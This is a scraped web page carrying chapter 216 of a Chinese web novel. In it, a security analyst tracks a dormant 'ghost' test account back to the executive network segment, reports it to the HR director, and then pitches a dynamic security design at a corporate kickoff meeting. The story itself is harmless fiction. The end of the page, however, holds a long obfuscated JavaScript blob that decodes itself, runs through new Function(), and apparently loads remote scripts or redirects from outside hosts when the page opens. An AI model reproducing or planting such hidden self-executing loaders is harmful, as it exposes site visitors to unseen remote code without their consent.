首页
[切换至繁体版]
返回

第216章幽灵帐户

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第216章幽灵帐户(第1/2页)
    姚厚朴提供的临时权限像一把精准的手术刀,划开了笼罩在异常IP地址上的迷雾。林晚指尖在键盘上飞舞,屏幕上的命令行界面飞速滚动着经过加密处理的数据流。追踪异常IP本就如大海捞针,更何况对方显然具备一定的反侦察意识,使用了多层跳板进行伪装。
    时间在高度集中的精神状态下悄然流逝,窗外的天色从昏暗到彻底漆黑,只有显示屏的冷光映照着她专注而略显苍白的脸。她利用龙胆科技内部强大的网络流量分析系统,结合自己编写的数据包特征识别脚本,一点点剥离着跳板的伪装。
    第一个跳板是位于海外某个数据中心已被弃用的代理服务器,第二个则伪装成某个公共图书馆的公共Wi-Fi接入点……线索几度中断,又在她变换思路、尝试不同追踪算法后重新连接。这像是一场无声的棋局,对手隐藏在暗处,落子谨慎,而她必须凭借有限的线索,推演对方的全盘布局。
    终于,在凌晨三点左右,当城市陷入最深的沉睡时,一条关键的连接链路浮出水面。所有经过精心伪装的流量,最终都指向了一个意想不到的源头——龙胆科技内部网络的一个特定网段,那是……高级管理层办公室所在的区域。
    这个结果让林晚敲击键盘的手指猛地顿住,一股寒意顺着脊椎悄然爬升。
    管理层?这远比一个普通员工滥用权限要严重得多。是某个高管在利用职务之便窥探核心数据?还是其账户被盗用?无论是哪种情况,都意味着公司内部存在着一个极高层级的安全漏洞。
    她强迫自己冷静下来,没有立刻下结论。仅凭IP地址的物理位置无法锁定具体责任人,那个网段覆盖了数位副总裁及其助理团队的办公室。她需要更精确的身份信息。
    就在这时,她部署在那个数据分析工具后端的监控脚本传回了新的数据。那个异常的测试账户再次被激活,这一次,它尝试访问的不再是客户画像数据,而是“五彩绫镜“项目早期、已被封存的设计文档和部分废弃的算法逻辑。
    对方的目标在升级!从商业数据转向了核心技术遗产!
    林晚立刻调取了该测试账户的详细属性信息。账户名是随机生成的一串字符,属于一个早已归档的、用于压力测试的项目组。创建者是前研发部的一名中级经理,此人已在半年前离职。账户权限按理说早已被回收或限制,但不知为何,其部分核心数据访问权限竟然处于一种诡异的“休眠“但“未被彻底禁用“的状态。
    一个本应死去的“幽灵账户“,在特定条件下被重新激活,并保留了部分危险的权限。
    是谁激活了它?又是谁在背后操控?
    林晚意识到问题的严重性已经超出了她个人能处理的范畴,也超出了数据安全部的常规职责范围。这背后可能涉及高层权力斗争、商业间谍,或者其他更复杂的阴谋。
    她必须立即汇报。
    但向谁汇报?直接经理杜仲?从下午的会议来看,杜仲的风格偏向保守和妥协,他是否会因为顾忌管理层的反应而选择压下调査?或者,直接越级上报给龙胆草?
    这个念头一冒出来,就被林晚按了下去。以她现在的身份,直接联系CEO过于突兀,也容易引来不必要的猜忌。而且,她无法确定龙胆草身边是否绝对安全。
    她想到了九里香。这位人力资源总监拥有极高的权限,负责内部监察,并且在上次的危机中展现出了冷静和决断力。更重要的是,她似乎拥有某种独立于业务体系之外的调查渠道。
    林晚看了一眼时间,凌晨三点十五分。这个时候打扰一位高管显然不合适。她将所有的发现、分析过程、证据链截图整理成一份简洁但关键信息完整的报告,加密后存入一个待发送的草稿箱,设定在早上八点,准时发送到九里香的内部邮箱。
    做完这一切,巨大的疲惫感如同潮水般涌来。她靠在椅背上,闭上眼睛,感觉太阳穴突突直跳。数据安全部这张平静的表面之下,暗流比她想象的更加汹涌。
    ---
    早上八点零三分,林晚工位上的内部通讯电话响了起来。屏幕上显示的号码来自人力资源总监办公室。
    “林晚,我是九里香。“电话那头的声音一如既往的冷静,听不出喜怒,“你发来的报告我看了。做得很好,也很及时。“
    “九总,情况似乎比预想的复杂。“林晚谨慎地回应。
    “嗯。“九里香应了一声,“这件事我知道了,你暂时不要向任何人透露,包括杜仲。后续的调查,我会亲自跟进。你继续你手头的工作,保持警惕,如果发现任何新的异常,第一时间直接向我报告。“
    “明白。“
    “另外,“九里香顿了顿,语气似乎缓和了少许,“注意休息,黑眼圈快掉到地上了。数据安全部的工作,不急于一时。“
    电话挂断。林晚微微怔了一下,九里香最后那句话,带着一丝罕见的、近乎于人情味的关切。
    接下来的两天,风平浪静。杜仲没有再分配新的棘手任务,那个异常的“幽灵账户“也再没有任何活动迹象,仿佛从未存在过。九里香那边没有任何反馈,林晚也恪守命令,没有主动打听。
    她将精力投入到那份《关于构建公司级动态数据安全防御体系的初步构想》中,不断补充细节,完善逻辑。她开始利用工作间隙,悄悄梳理数据安全部现有的防御体系架构,发现其中确实存在不少可以优化和加强的地方,尤其是在内部威胁检测和响应机制上,几乎依赖于人工审计和简单的规则匹配,效率低下且容易遗漏精心伪装的攻击。
    周五下午,杜仲突然召集部门开会,宣布了一项来自集团层面的新任务。
    “接到通知,下个季度,集团计划启动一个名为‘数据长城‘的全面安全升级项目。“杜仲的语气带着点意外,也有一丝不易察觉的兴奋,“目标是整合优化我们所有的安全资源,构建一个更主动、更智能的防御体系。项目由集团直接领导,我们数据安全部需要全力配合,提供现有的架构资料,并派出人员参与前期的需求分析和方案设计。“
    部门里响起一阵低低的议论声。“数据长城“?这名字和方向,听起来怎么有点耳熟?
    林晚心中一动,隐约感觉到了什么。
    “参与项目的人员名单,集团那边已经有了初步意向。“杜仲的目光在办公室里扫了一圈,最后落在了林晚身上,“林晚,你被点名加入项目前期工作组,下周一去主楼会议室报到。“
    一时间,办公室里所有的目光都聚焦到了林晚身上。有惊讶,有疑惑,也有毫不掩饰的审视和嫉妒。一个刚调来不到一周的新人,何德何能直接被集团项目点名?
    (本章未完,请点击下一页继续阅读)第216章幽灵帐户(第2/2页)
    林晚自己也感到意外。她稳住心神,平静地点头:“好的,杜经理。“
    会议结束后,几个老员工凑在一起低声交谈,目光不时瞟向林晚。杜仲把她叫到办公室。
    “林晚,我不知道集团那边为什么点名要你。“杜仲看着她,眼神里带着探究,“这是个机会,但也可能是个烫手山芋。‘数据长城‘项目牵扯很广,水很深,你刚来,很多情况不了解,过去之后,多看,多听,少说话,做好分内的事,别惹麻烦。“
    他的提醒带着几分真诚的告诫。林晚能感觉到,杜仲虽然对她这个“空降兵“谈不上多喜欢,但至少没有恶意。
    “我明白,谢谢杜经理。“
    走出杜仲的办公室,林晚的心情有些复杂。被直接点名加入集团级的重要项目,这无疑是对她能力的某种认可,也意味着她获得了接触公司更高层面安全架构的机会。但这背后,是否与九里香有关?与那个“幽灵账户“的调查有关?还是……与龙胆草有关?
    她无从得知。但无论如何,这扇门已经为她打开。她必须走进去,并且要走得稳。
    周末,林晚没有休息,她将自己关在公寓里,疯狂地恶补与大型企业级安全架构相关的知识,深入研究业界最新的动态防御和零信任架构理念。她知道自己资历浅,想要在那种级别的项目组里不被看轻,甚至能发出一点声音,必须拿出过硬的专业素养和周全的准备。
    周一早上,她换上了一套更显干练的深色职业装,提前十五分钟来到了位于主楼顶层的会议室。
    会议室里已经来了几个人,正在低声交谈。看到她进来,交谈声停顿了一下,几道目光落在她身上,带着审视和好奇。林晚认出其中一位是集团首席技术官办公室的高级顾问,另一位是来自战略发展部的总监。
    她找了个靠边的位置坐下,默默打开笔记本电脑,再次检查自己准备的资料。
    陆续又有人进来。当龙胆草在一行人的簇拥下走进会议室时,原本有些嘈杂的会议室瞬间安静下来。
    他穿着一身剪裁合体的深灰色西装,身形挺拔,目光锐利,步伐沉稳。他没有看林晚,径直走向主位坐下,气场强大,自然而然地成为了全场的中心。
    “各位,早上好。“龙胆草开口,声音清晰而富有穿透力,“‘数据长城‘项目的重要性,我不再赘述。今天召集这个启动会,是希望各位能抛开部门壁垒,从集团整体利益出发,共同为我们未来的安全防线打下坚实的基础。“
    他的目光缓缓扫过全场,在经过林晚身上时,没有任何多余的停留,仿佛她只是一个再普通不过的项目成员。
    林晚垂着眼睑,专注地看着屏幕,心跳却不由自主地加快了几分。她能感觉到那道目光虽然短暂,却带着重量。
    项目启动会按部就班地进行,主要由CTO办公室的人介绍项目背景、目标和初步规划。林晚认真听着,记录着要点。她注意到,项目初步规划中的很多思路,与她那份构想文档中的核心观点不谋而合,尤其是在构建主动防御体系和加强内部威胁管控方面。
    这仅仅是巧合吗?
    轮到讨论环节时,几位来自不同部门的核心成员开始发言,大多是从自身业务角度出发,提出需求或担忧。有人强调性能不能受影响,有人担心权限收紧会降低效率,争论渐渐变得有些激烈。
    林晚一直安静地听着,没有急于开口。她在观察,在学习,也在等待合适的时机。
    当讨论焦点再次回到“如何有效平衡安全与效率“这个老生常谈的问题上时,龙胆草忽然点名:“林晚,你之前在研发部和数据安全部都有经历,从你的角度看,有什么想法?“
    一瞬间,所有人的目光再次聚焦到她身上。有期待,有观望,也有不以为然。
    林晚深吸一口气,抬起头,迎向那些目光,也迎向龙胆草那双深邃难辨的眼睛。她知道,这是她的第一次考验。
    她没有直接回答平衡的问题,而是将笔记本电脑屏幕转向众人,调出了一张简洁的架构图。
    “我认为,我们或许可以换一个思路。“她的声音清晰而平稳,带着一种经过深思熟虑的冷静,“安全和效率并非必然对立。问题的关键可能在于,我们现有的安全体系大多是静态和被动的,就像一座建立在固定路线上的关卡,任何偏离路线的行为都会被拦截,这自然会影响到探索新路径的效率。“
    她指着架构图上的几个关键节点:“如果我们能构建一个动态的、能够感知上下文环境的安全基座,通过持续的行为分析和风险评估,为不同的访问请求动态分配合适的权限等级和安全策略呢?比如,对于来自可信设备、在正常工作时段、执行常规任务的访问,可以给予更流畅的体验;而对于异常时间、异常地点、异常行为的访问,则自动触发更严格的验证和监控。这样,既能保障核心资产的安全,又能在最大程度上减少对正常业务的干扰。“
    她顿了顿,结合之前“幽灵账户“的案例(隐去了具体细节),简要说明了静态权限管理的潜在风险,以及动态策略调整的必要性。
    “这需要底层架构的支持,也需要更精细化的数据采集和分析能力,初期投入可能会比较大,但从长远来看,这或许是实现安全与业务敏捷性共同发展的可行路径。“
    她的发言条理清晰,观点新颖,并且有实际案例作为支撑(尽管是简化版的),一时间让会议室里安静了下来。几位技术背景的成员露出了思索的表情,而之前强调效率的业务部门代表,似乎也在重新权衡。
    龙胆草看着她,手指在桌面上轻轻敲了敲,脸上看不出什么表情,但眼神里似乎掠过一丝极淡的、难以捕捉的微光。
    “动态安全基座……“他重复了一遍这个词,目光转向CTO,“这个思路,可以纳入下一阶段的详细方案论证。“
    他没有直接肯定林晚,但这句指示,无疑是对她提出方向的一种认可。
    会议继续进行,林晚悄然松了口气,感觉后背出了一层薄汗。她知道,这仅仅是开始。在“数据长城“这个庞大的项目中,她依然
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();